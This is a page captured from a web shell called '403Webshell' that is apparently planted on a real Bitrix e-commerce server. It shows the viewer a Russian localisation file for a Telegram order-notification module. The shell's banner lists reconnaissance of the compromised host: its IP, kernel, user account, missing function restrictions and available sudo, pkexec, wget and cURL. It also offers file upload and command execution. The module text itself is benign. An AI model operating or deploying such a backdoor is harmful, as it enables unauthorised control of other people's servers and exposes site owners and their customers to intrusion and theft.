403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/aby.telegram/lang/ru/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/aby.telegram/lang/ru/options.php
<?php

$MESS['AB_TELEGRAM_TAB_SETTINGS'] = "Настройки";
$MESS['AB_TELEGRAM_TAB_SETTINGS_TITLE'] = "Настройка параметров модуля";
$MESS['AB_TELEGRAM_TAB_TEMPLATES'] = "Шаблоны";
$MESS['AB_TELEGRAM_TAB_TEMPLATES_TITLE'] = "Настройка шаблонов оповещений";
$MESS['AB_TELEGRAM_SETTINGS_SAVE'] = "Сохранить";
$MESS['AB_TELEGRAM_SETTINGS_RESET'] = "Сбросить";
$MESS['AB_TELEGRAM_RIGHT_DENIED'] = "Доступ запрещен";
$MESS['AB_TELEGRAM_RIGHT_FULL'] = "Полный доступ";
$MESS['AB_TELEGRAM_FIELD_TOKEN_TITLE'] = "Токен Telegram бота";
$MESS['AB_TELEGRAM_FIELD_RECEIVERS_TITLE'] = "Id пользователей Telegram через запятую";
$MESS['AB_TELEGRAM_FIELD_GPT_TITLE'] = "Выводить в шаблон варианты цен по товару<br>(только для нового заказа)";
$MESS['AB_TELEGRAM_FIELD_GPR_TITLE'] = "Выводить в шаблон остатки по складам по товару<br>(только для нового заказа)";
$MESS['AB_TELEGRAM_FIELD_GC_TITLE'] = "Выводить в шаблон купоны заказа<br>(только для нового заказа)";
$MESS['AB_TELEGRAM_SETTINGS_ADD_TEMPLATE'] = "Добавить настройку";
$MESS['AB_TELEGRAM_OPTIONS_NOTE_1'] = "<strong>Получение токена</strong><br>
Для получения токена Telegram бота зайдите в Telegram и найдите бота <a href='https://t.me/botfather' target='_blank'>@BotFather</a>. 
Для создания бота используйте команду /newbot. Далее введите имя бота (отображается в контактах) и никнейм (используется для поиска и ссылок). 
После этого вы получите токен вида \"110201543:AAHdqTcvCH1vGWJxfSeofSAs0K5PALDsaw\". Введите его в поле выше. 
Подробнее о создании ботов тут: <a href='https://core.telegram.org/bots#6-botfather' target='_blank'>https://core.telegram.org/bots#6-botfather</a>
<br><br><strong>Получение id пользователя</strong><br>
Чтобы получить id пользователя Telegram вы можете воспользоваться ботами <a href='https://t.me/RawDataBot' target='_blank'>@RawDataBot</a> или <a href='https://t.me/getmyid_bot' target='_blank'>@getmyid_bot</a>. 
Нажмите команду start и бот вернет вам информацию, содержащую ваш id. Полученный id укажите в поле выше. 
Можно указать нескольких получателей, перечислив их id через запятую.
<br><br><strong>Получение id группового чата</strong><br>
Иногда с получением id чатов возникают сложности. Часто через ботов, которые описаны выше, удается получить id пользователя, который отправил сообщение, а не всего чата.<br>
Можно попробовать другой способ:<br>
<ol>
<li>В ссылку https://api.telegram.org/bot<YourBOTToken>/getUpdates подставьте ваш токен бота вместо <YourBOTToken>. Например: https://api.telegram.org/bot123456789:jbd78sadvbdy63d37gda37bd8/getUpdates. Перейдите по этой ссылке.</li>
<li>Там будет что-то вроде такого:<br><code>{\"update_id\":8393,\"message\":{\"message_id\":3,\"from\":{\"id\":7474,\"first_name\":\"AAA\"},\"chat\":{\"id\":<group_ID>,\"title\":\"\"},\"date\":25497,\"new_chat_participant\":{\"id\":71,\"first_name\":\"NAME\",\"username\":\"YOUR_BOT_NAME\"}}}</code><br>Здесь нужно взять значение из chat -> id.</li>
<li>Если при переходе по ссылке отображается только:<br><code>{\"ok\":true,\"result\":[]}</code><br>то нужно удалить бота из чата, добавить его заново и проверить еще раз.</li>
<li>Полученный id вставьте в поле настроек. Он должен быть с минусом в начале.</li>
</ol>
<br><strong>Важно!</strong><br>
Всем получателям нужно начать беседу с ботом. Для этого найдите его в Telegram и нажмите /start в диалоге. 
Для групповых чатов необходимо добавить бота в чат.".
'<br><br><br><strong>API модуля</strong><br>
Вы можете вызвать отправку уведомления из своего кода. Можно отправить любое текстовое сообщение. В этом случае шаблоны не используются.<br><br>
<strong>Сначала подключите модуль:</strong><br><br>
<code>CModule::IncludeModule("aby.telegram");</code><br><br>
Или так:<br><br>
<code>use Bitrix\Main\Loader;<br><br>
Loader::includeModule("aby.telegram");</code><br><br>
<strong>Отправка сообщения:</strong><br><br>
<code>try {<br>
&nbsp;&nbsp;&nbsp;&nbsp;$moduleInstance->simple_message("Текст сообщения");<br>
} catch (\Exception $exception){<br>
&nbsp;&nbsp;&nbsp;&nbsp;echo $exception->getMessage();<br>
}</code><br><br>
Параметры метода <code>simple_message($message, $receivers = "", $token = ""): bool</code><br>
<ul>
<li><code>$message</code> - Текст сообщения. Для переноса строк используйте "\n".</li>
<li><code>$receivers</code> - Можно переопределить получателей сообщения. Формат - Id пользователей Telegram через запятую. По умолчанию берется из настроек.</li>
<li><code>$token</code> - Можно переопределить самого бота через новый токен. По умолчанию берется из настроек.</li>
</ul><br>
Если метод вернул false, то произошла ошибка на уровне обработки команды Телеграмом. В этом случае ошибка должна записаться в файл логов в папке /logs модуля.';
$MESS['AB_TELEGRAM_FIELD_ACTIVE_TITLE'] = "Включено";
$MESS['AB_TELEGRAM_FIELD_EVENT_TITLE'] = "Событие";
$MESS['AB_TELEGRAM_FIELD_EVENT_DEFAULT'] = "Выберите событие";
$MESS['AB_TELEGRAM_FIELD_EVENT_VALUE_1'] = "Новый заказ";
$MESS['AB_TELEGRAM_FIELD_EVENT_VALUE_2'] = "Заказ оплачен";
$MESS['AB_TELEGRAM_FIELD_EVENT_VALUE_3'] = "Добавление элемента инфоблока";
$MESS['AB_TELEGRAM_FIELD_EVENT_VALUE_4'] = "Изменение элемента инфоблока";
$MESS['AB_TELEGRAM_FIELD_EVENT_VALUE_5'] = "Изменение статуса заказа";
$MESS['AB_TELEGRAM_FIELD_EVENT_VALUE_6'] = "Отмена заказа";
$MESS['AB_TELEGRAM_FIELD_EVENT_VALUE_7'] = "Добавление результата веб-формы";
$MESS['AB_TELEGRAM_FIELD_EVENT_VALUE_8'] = "Изменение результата веб-формы";
$MESS['AB_TELEGRAM_FIELD_EVENT_VALUE_9'] = "Добавление комментария в блог";
$MESS['AB_TELEGRAM_FIELD_EVENT_VALUE_10'] = "Регистрация пользователя";
$MESS['AB_TELEGRAM_FIELD_IBLOCK_TITLE'] = "Инфоблок";
$MESS['AB_TELEGRAM_FIELD_FORM_TITLE'] = "Форма";
$MESS['AB_TELEGRAM_FIELD_BLOG_TITLE'] = "Блог";
$MESS['AB_TELEGRAM_FIELD_IBLOCK_DEFAULT'] = "Выберите инфоблок";
$MESS['AB_TELEGRAM_FIELD_FORM_DEFAULT'] = "Выберите форму";
$MESS['AB_TELEGRAM_FIELD_BLOG_DEFAULT'] = "Выберите блог";
$MESS['AB_TELEGRAM_FIELD_TEMPLATE_TITLE'] = "Шаблон сообщения";
$MESS['AB_TELEGRAM_FIELD_TEMPLATE_CHATS_TITLE'] = "Получатели";
$MESS['AB_TELEGRAM_FIELD_TEMPLATE_CHATS_PLACEHOLDER'] = "Если не заполнено, берется из общих настроек";
$MESS['AB_TELEGRAM_CHECK_REQUIREMENTS_ERROR_TITLE'] = "Модуль не может работать исправно";
$MESS['AB_TELEGRAM_FIELD_SITE_TITLE'] = "Сайт";
$MESS['AB_TELEGRAM_FIELD_SITE_ALL'] = "Все сайты";
$MESS['AB_TELEGRAM_TAB_TEMPLATES_HELP_START'] = "<b><h3>Настройка шаблонов</h3></b>
Для каждого шаблона необходимо выбрать событие и описать шаблон. Каждое событие можно отключить через чекбокс \"Включено\". Также в каждом событии можно переопределить получателей. Например, для разных событий настроить получение уведомлений разными менеджерами. Если в событии получатели не указаны, то они берутся из общих настроек модуля.
<br>
Для событий, связанных с инфоблоками, нужно выбрать инфоблок из списка.
<br>
Для удаления настройки в списке событий поставьте вариант \"Выберите событие\". После сохранения данная настройка удалится.
<br>
<br>
<b>Шаблоны</b>
<br>
Для работы с шаблонами используется шаблонизатор <a href=\"https://twig.symfony.com/\" target=\"_blank\">Twig</a>.
<br>
Для каждого события определены свои переменные. Переменные указываются в двойных фигурных скобках {{ ... }}.";
$MESS['AB_TELEGRAM_TAB_TEMPLATES_HELP_ORDERS_FIELDS'] = "<b><h3>Новый заказ:</h3></b>
{{ ID }} - ID заказа<br>
{{ ACCOUNT_NUMBER }} - Номер заказа<br>
{{ LINK }} - Ссылка на заказ в панели администратора<br>
{{ USER_ID }} - ID пользователя, создавшего заказ<br>
{{ PROPERTIES }} - <b>свойства заказа</b>. Для доступа к конкретным свойствам используются квадратные скобки и одинарные кавычки ['...'].<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['FIO'] }} - ФИО<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['EMAIL'] }} - E-mail<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['PHONE'] }} - Телефон<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['ZIP'] }} - Индекс<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['CITY'] }} - Город<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['ADDRESS'] }} - Адрес<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['USER_DESCRIPTION'] }} - Комментарий покупателя<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['COMMENTS'] }} - Комментарий внутренний<br>
&nbsp;&nbsp;&nbsp;&nbsp;и т.д.<br>
{{ DELIVERY }} - <b>Доставка</b>.<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ DELIVERY['DELIVERY_NAME'] }} - Название службы доставки<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ DELIVERY['DELIVERY_PRICE'] }} - Стоимость доставки<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ DELIVERY['BASKET_WEIGHT'] }} - Вес корзины<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ DELIVERY['STORE'] }} - Информация о складе, если склад выбран в заказе:<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ DELIVERY['STORE']['ID'] }} - ID склада<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ DELIVERY['STORE']['TITLE'] }} - Название склада<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ DELIVERY['STORE']['ADDRESS'] }} - Адрес склада<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ DELIVERY['STORE']['DESCRIPTION'] }} - Описание склада<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ DELIVERY['STORE']['PHONE'] }} - Телефон склада<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ DELIVERY['STORE']['SCHEDULE'] }} - Расписание работы склада<br>
{{ PAYMENT }} - <b>Оплата</b>.<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PAYMENT['SUM'] }} - Сумма заказа<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PAYMENT['DISCOUNT'] }} - Скидка<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PAYMENT['CURRENCY'] }} - Валюта<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PAYMENT['PAYMENT_SYSTEM_NAME'] }} - Название службы оплаты<br>
{{ SITE }} - <b>Сайт</b>.<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ SITE['ID'] }} - Идентификатор сайта<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ SITE['NAME'] }} - Название сайта<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ SITE['SERVER_NAME'] }} - Адрес сайта<br>
{{ USER }} - <b>Пользователь, создавший заказ</b>.<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ USER['NAME'] }} - Имя<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ USER['LAST_NAME'] }} - Фамилия<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ USER['EMAIL'] }} - E-Mail<br>
{{ ITEMS }} - <b>Товары</b>.<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ ITEM['PRODUCT_ID'] }} - Идентификатор товара<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ ITEM['NAME'] }} - Название товара<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ ITEM['DETAIL_PAGE_URL'] }} - Ссылка на товар на сайте<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ ITEM['QUANTITY'] }} - Количество<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ ITEM['PRICE'] }} - Цена<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ ITEM['PROPERTIES'] }} - Свойства. У каждого товара доступны его свойства. Для доступа необходимо использовать код свойства из инфоблока. Например, у нас есть свойство Цвет с кодом COLOR_REF. Его можно получить так: {{ ITEM['PROPERTIES']['COLOR_REF']['VALUE'] }}.<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ ITEM['PRICES'] }} - Варианты цен по товару (доступны при включении настройки). Если у товара несколько типов цен, то через это свойство можно получить к ним доступ. Обращение через ID типа цены. Например, так: {{ ITEM['PRICES']['1'] }}.<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ ITEM['REMAINS'] }} - Остатки по складам (доступны при включении настройки). Через это свойство можно получить остатки товара на определенном складе. Обращение через ID склада. Например, так: {{ ITEM['REMAINS']['1'] }}.<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ ITEM['REMAINS_TEXT'] }} - Остатки по складам текстом (доступны при включении настройки). Выводится список складов и остатков товара на них. Склад отображается только при наличии остатков. Пример вывода: \"Название склада: 100\".<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ ITEM['REMAINS_TEXT_WITH_ADDRESS'] }} - Остатки по складам текстом с адресом (доступны при включении настройки). Свойство аналогично {{ ITEM['REMAINS_TEXT'] }}, но добавляется адрес склада. Пример вывода: \"Название склада (адрес склада): 100\".<br>
<br><b>Товары необходимо перебирать циклом</b>. Для этого предусмотрена конструкция {% for %}{% endfor %}. Пример блока с товарами:
<br><br>
{% for ITEM in ITEMS %}<br>
{{ ITEM['NAME'] }} - {{ ITEM['QUANTITY'] }}шт. по {{ ITEM['PRICE'] }} руб.<br>
{% endfor %}<br><br>
{{ COUPONS }} - <b>купоны заказа</b> (доступны при включении настройки).<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ COUPON['COUPON_ID'] }} - ID купона<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ COUPON['COUPON'] }} - Купон<br>
<br><b>Купоны необходимо перебирать циклом</b>. Для этого предусмотрена конструкция {% for %}{% endfor %}. Пример блока с купонами:
<br><br>
{% if COUPONS %}<br>
Купоны в заказе:<br>
{% for COUPON in COUPONS %}<br>
{{ COUPON['COUPON'] }}<br>
{% endfor %}<br>
{% endif %}<br>
<b><h3>Заказ оплачен:</h3></b>
Доступны поля:<br>
{{ ID }} - ID заказа<br>
{{ ACCOUNT_NUMBER }} - Номер заказа<br>
{{ SUM }} - Сумма заказа<br>
{{ PAYMENT_SYSTEM_NAME }} - Название службы оплаты<br>
{{ LINK }} - Ссылка на заказ в панели администратора<br>
{{ PROPERTIES }} - <b>свойства заказа</b>. Для доступа к конкретным свойствам используются квадратные скобки и одинарные кавычки ['...'].<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['FIO'] }} - ФИО<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['EMAIL'] }} - E-mail<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['PHONE'] }} - Телефон<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['ZIP'] }} - Индекс<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['CITY'] }} - Город<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['ADDRESS'] }} - Адрес<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['USER_DESCRIPTION'] }} - Комментарий покупателя<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['COMMENTS'] }} - Комментарий внутренний<br>
&nbsp;&nbsp;&nbsp;&nbsp;и т.д.<br>
<b><h3>Изменение статуса заказа:</h3></b>
Доступны поля:<br>
{{ ID }} - ID заказа<br>
{{ ACCOUNT_NUMBER }} - Номер заказа<br>
{{ STATUS }} - Новый статус<br>
{{ LINK }} - Ссылка на заказ в панели администратора<br>
{{ PROPERTIES }} - <b>свойства заказа</b>. Для доступа к конкретным свойствам используются квадратные скобки и одинарные кавычки ['...'].<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['FIO'] }} - ФИО<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['EMAIL'] }} - E-mail<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['PHONE'] }} - Телефон<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['ZIP'] }} - Индекс<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['CITY'] }} - Город<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['ADDRESS'] }} - Адрес<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['USER_DESCRIPTION'] }} - Комментарий покупателя<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['COMMENTS'] }} - Комментарий внутренний<br>
&nbsp;&nbsp;&nbsp;&nbsp;и т.д.<br>
<b><h3>Отмена заказа:</h3></b>
Доступны поля:<br>
{{ ID }} - ID заказа<br>
{{ ACCOUNT_NUMBER }} - Номер заказа<br>
{{ DESCRIPTION }} - Причина отмены<br>
{{ LINK }} - Ссылка на заказ в панели администратора<br>
{{ PROPERTIES }} - <b>свойства заказа</b>. Для доступа к конкретным свойствам используются квадратные скобки и одинарные кавычки ['...'].<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['FIO'] }} - ФИО<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['EMAIL'] }} - E-mail<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['PHONE'] }} - Телефон<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['ZIP'] }} - Индекс<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['CITY'] }} - Город<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['ADDRESS'] }} - Адрес<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['USER_DESCRIPTION'] }} - Комментарий покупателя<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ PROPERTIES['COMMENTS'] }} - Комментарий внутренний<br>
&nbsp;&nbsp;&nbsp;&nbsp;и т.д.<br>";
$MESS['AB_TELEGRAM_TAB_TEMPLATES_HELP_IBLOCK_FIELDS'] = "<b><h3>Добавление и изменение элементов инфоблока:</h3></b>
Доступны стандартные поля элементов инфоблока:<br>
{{ ID }} - Идентификатор<br>
{{ NAME }} - Название<br>
{{ PREVIEW_TEXT }} - Описание для анонса<br>
{{ DETAIL_TEXT }} - Детальное описание<br>
{{ LINK }} - Ссылка на элемент в панели администратора<br>
Также доступны свойства {{ PROPERTIES }}. Для доступа к конкретным свойствам используются квадратные скобки и одинарные кавычки ['...']. Для выбора свойства необходимо использовать код свойства из инфоблока. Например, у нас есть свойство Статус с кодом STATUS. Его можно получить так:<br>
{{ PROPERTIES['STATUS']['VALUE'] }}<br>
Чтобы узнать код свойства, перейдите в раздел \"Контент - Инфоблоки - Типы инфоблоков\". Найдите нужный инфоблок и перейдите в него. Далее откройте вкладку \"Свойства\". Нужные нам коды находятся в столбце \"Код\".<br>
Корректно обрабатываются значения из свойств с типами: <b>Строка, Число, Список</b> и некоторыми другими текстовыми типами. Свойства с типами файл или привязка разделам не дадут корректного значения.<br>
Для работы со значениями свойств типа <b>Привязка к элементам</b> вместо VALUE используйте <b>VALUE_LINKED</b>, например:<br>
{{ PROPERTIES['STATUS']['VALUE_LINKED'] }}";
$MESS['AB_TELEGRAM_TAB_TEMPLATES_HELP_EX_START'] = "<b><h3>Примеры шаблонов:</h3></b>";
$MESS['AB_TELEGRAM_TAB_TEMPLATES_HELP_EX_ORDERS'] = "<b>Новый заказ:</b><br><br>
&lt;b&gt;Новый заказ №{{ ID }}&lt;/b&gt; на сумму {{ PAYMENT['SUM'] }} руб.<br>
&lt;b&gt;ФИО:&lt;/b&gt; {{ PROPERTIES['FIO'] }}<br>
&lt;b&gt;Телефон:&lt;/b&gt; {{ PROPERTIES['PHONE'] }}<br>
&lt;b&gt;Доставка:&lt;/b&gt; {{ DELIVERY['DELIVERY_NAME'] }}, стоимость: {{ DELIVERY['DELIVERY_PRICE'] }} руб.<br>
&lt;b&gt;Оплата:&lt;/b&gt; {{ PAYMENT['PAYMENT_SYSTEM_NAME'] }}<br>
&lt;b&gt;Товары:&lt;/b&gt;<br>
{% for ITEM in ITEMS %}<br>
{{ ITEM['NAME'] }} - {{ ITEM['QUANTITY'] }}шт. по {{ ITEM['PRICE'] }} руб.<br>
{% endfor %}<br>
&lt;b&gt;Ссылка:&lt;/b&gt; {{ LINK }}
<br><br>
<b>Заказ оплачен:</b><br><br>
&lt;b&gt;Заказ №{{ ID }} оплачен&lt;/b&gt;<br>
&lt;b&gt;Сумма заказа:&lt;/b&gt; {{ SUM }} руб.<br>
&lt;b&gt;Ссылка:&lt;/b&gt; {{ LINK }}
<br><br>
<b>Изменение статуса заказа:</b><br><br>
&lt;b&gt;Заказ №{{ ID }} перешел в статус \"{{ STATUS }}\"&lt;/b&gt;<br>
&lt;b&gt;Ссылка:&lt;/b&gt; {{ LINK }}
<br><br>
<b>Отмена заказа:</b><br><br>
&lt;b&gt;Заказ №{{ ID }} отменен&lt;/b&gt;<br>
&lt;b&gt;Причина отмены:&lt;/b&gt; {{ DESCRIPTION }}<br>
&lt;b&gt;Ссылка:&lt;/b&gt; {{ LINK }}
<br><br>";
$MESS['AB_TELEGRAM_TAB_TEMPLATES_HELP_EX_IBLOCK'] = "<b>Добавление элемента инфоблока:</b><br><br>
&lt;b&gt;Новая заявка на ремонт №{{ ID }}:&lt;/b&gt;<br>
&lt;b&gt;Телефон клиента:&lt;/b&gt; {{ PROPERTIES['PHONE']['~VALUE'] }}<br>
&lt;b&gt;Причина обращения:&lt;/b&gt; {{ PROPERTIES['COMMENT']['~VALUE'] }}<br>
&lt;b&gt;Ссылка:&lt;/b&gt; {{ LINK }}
<br><br>";
$MESS['AB_TELEGRAM_TAB_TEMPLATES_HELP_OPPOTUN'] = "<b><h3>Полезные возможности:</h3></b>
Чтобы выделить часть текста в <b>жирный</b>, используйте тег &lt;b&gt;тут нужный текст&lt;/b&gt;.
<br><br>
Если хотите, что строк с пустым значением не было, используйте конструкцию {% if %}{% endif %}. <br>
Например, есть строка: Адрес: {{ PROPERTIES['ADDRESS'] }}. Но адреса может не быть и в уведомлении вы получите: \"Адрес: \".<br>
Можно проверить и вывести таким образом:<br>
{% if PROPERTIES['ADDRESS'] %}Адрес: {{ PROPERTIES['ADDRESS'] }}{% endif %}
<br><br>
Если в значении параметра может быть HTML разметка, то желательно чистить её перед выводом. Telegram не всегда хорошо её воспринимает.<br>
Это делается через модификатор <b>|striptags</b> после параметра. Например, так:<br>
&lt;b&gt;Текст комментария:&lt;/b&gt; {{ POST_TEXT|striptags }}<br>или так:<br>&lt;b&gt;Новый комментарий в сообщении&lt;/b&gt; \"{{ POST['TITLE']|striptags }}\"
<br><br>
Если вам нужно очистить номер телефона, удалив из него лишние символы, например, вот так:<br>
+7 (920) 000-00-01 -> +79200000001<br>
то вы можете использовать вот такой модификатор:<br>
{{ PROPERTIES['PHONE']['~VALUE']|trim|replace({'(': '', ')': '', ' ': '', '-': ''}) }}<br>
Вместо PROPERTIES['PHONE']['~VALUE'] нужно подставить вывод значения телефона для вашего случая.
";
$MESS['AB_TELEGRAM_TAB_TEMPLATES_HELP_FORM_FIELDS'] = "<b><h3>Добавление и изменение результатов веб-форм:</h3></b>
Доступны стандартные поля результата веб-формы:<br>
{{ ID }} - Идентификатор результата<br>
{{ FORM_ID }} - Идентификатор формы<br>
{{ NAME }} - Название формы<br>
{{ LINK }} - Ссылка на результат в панели администратора<br>
{{ USER_ID }} - ID пользователя, заполнившего веб-форму<br>
{{ USER }} - <b>Пользователь, заполнивший веб-форму (если он был авторизован)</b>.<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ USER['NAME'] }} - Имя<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ USER['LAST_NAME'] }} - Фамилия<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ USER['EMAIL'] }} - E-Mail<br>
{{ ANSWERS }} - <b>Ответы на вопросы</b>.<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ ANSWER['FIELD_ID'] }} - ID вопроса / поля<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ ANSWER['TITLE'] }} - Текст вопроса или заголовок поля веб-формы<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ ANSWER['ANSWER_VALUE'] }} - Ответ. Если вариантов ответа несколько, они будут перечислены через запятую.<br>
{{ SERVER }} - <b>Технические данные запроса из параметра _SERVER</b>.<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ SERVER['HTTP_REFERER'] }} - Ссылка на страницу отправки формы<br>
<br><b>Ответы необходимо перебирать циклом</b>. Для этого предусмотрена конструкция {% for %}{% endfor %}. Пример блока с ответами:
<br><br>
{% for ANSWER in ANSWERS %}<br>
{{ ANSWER['TITLE'] }}: {{ ANSWER['ANSWER_VALUE'] }}<br>
{% endfor %}<br><br>
Значения из полей типов <b>изображение и файл не выводятся.</b><br>
<b>Внимание!</b> Для данных событий не работает фильтрация по сайтам.
";
$MESS['AB_TELEGRAM_TAB_TEMPLATES_HELP_BLOG_COMMENTS_FIELDS'] = "<b><h3>Добавление комментария в блог:</h3></b>
Доступны стандартные поля комментария блога, а также самого блога и сообщения:<br>
{{ ID }} - Идентификатор комментария<br>
{{ BLOG_ID }} - Идентификатор блога<br>
{{ POST_ID }} - Идентификатор сообщения (поста)<br>
{{ TITLE }} - Заголовок комментария<br>
{{ POST_TEXT }} - Текст комментария<br>
{{ PATH }} - Ссылка на комментарий на сайте<br>
{{ LINK }} - Ссылка на комментарии в админке<br>
{{ BLOG }} - <b>Блог</b>.<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ BLOG['NAME'] }} - Название блога<br>
{{ BLOG_GROUP }} - <b>Группа блога</b>.<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ BLOG_GROUP['NAME'] }} - Название группы блога<br>
{{ POST }} - <b>Сообщение (пост)</b>.<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ POST['TITLE'] }} - Название сообщения (поста)<br>
{{ AUTHOR_ID }} - ID пользователя<br>
{{ AUTHOR }} - <b>Пользователь, оставивший комментарий (если он был авторизован)</b>.<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ AUTHOR['NAME'] }} - Имя<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ AUTHOR['LAST_NAME'] }} - Фамилия<br>
&nbsp;&nbsp;&nbsp;&nbsp;{{ AUTHOR['EMAIL'] }} - E-Mail<br>
{{ USER_FIELD }} - <b>Пользовательские поля</b>. Получение значения через код поля, например, так:<br>
{{ USER_FIELD['UF_COM_RATING']['VALUE'] }} - Вместо UF_COM_RATING подставить нужный код. Работает с текстовыми и числовыми значениями.<br><br>
Прикрепленные к комментарию файлы не выводятся.
";
$MESS['AB_TELEGRAM_TAB_TEMPLATES_HELP_EX_FORM'] = "<b>Добавление результата веб-форм:</b><br><br>
&lt;b&gt;Заполнена форма&lt;/b&gt; \"{{ NAME }}\"<br>
&lt;b&gt;Ссылка на результат:&lt;/b&gt; {{ LINK }}<br>
&lt;b&gt;Ответы:&lt;/b&gt;<br>
{% for ANSWER in ANSWERS %}<br>
{{ ANSWER['TITLE'] }}: {{ ANSWER['ANSWER_VALUE'] }}<br>
{% endfor %}<br><br>";
$MESS['AB_TELEGRAM_TAB_TEMPLATES_HELP_EX_BLOG'] = "<b>Добавление комментария в блог:</b><br><br>
&lt;b&gt;Новый комментарий в сообщении&lt;/b&gt; \"{{ POST['TITLE'] }}\":<br>
&lt;b&gt;Текст комментария:&lt;/b&gt;<br>
{{ POST_TEXT }}<br>
&lt;b&gt;Управление:&lt;/b&gt; {{ LINK }}<br>
&lt;b&gt;Смотреть на сайте:&lt;/b&gt; {{ PATH }}
<br><br>";
$MESS['AB_TELEGRAM_TAB_TEMPLATES_HELP_USER_REGISTER_FIELDS'] = "<b><h3>Регистрация пользователя:</h3></b>
Доступны поля:<br>
{{ USER_ID }} - Идентификатор пользователя<br>
{{ LOGIN }} - Логин<br>
{{ NAME }} - Имя<br>
{{ LAST_NAME }} - Фамилия<br>
{{ EMAIL }} - E-mail<br>
{{ PHONE_NUMBER }} - Телефон<br>
{{ LINK }} - Ссылка на пользователя в панели администратора<br>
";
$MESS['AB_TELEGRAM_TAB_TEMPLATES_HELP_EX_USER_REGISTER'] = "<b>Регистрация пользователя:</b><br><br>
&lt;b&gt;Регистрация пользователя&lt;/b&gt;<br>
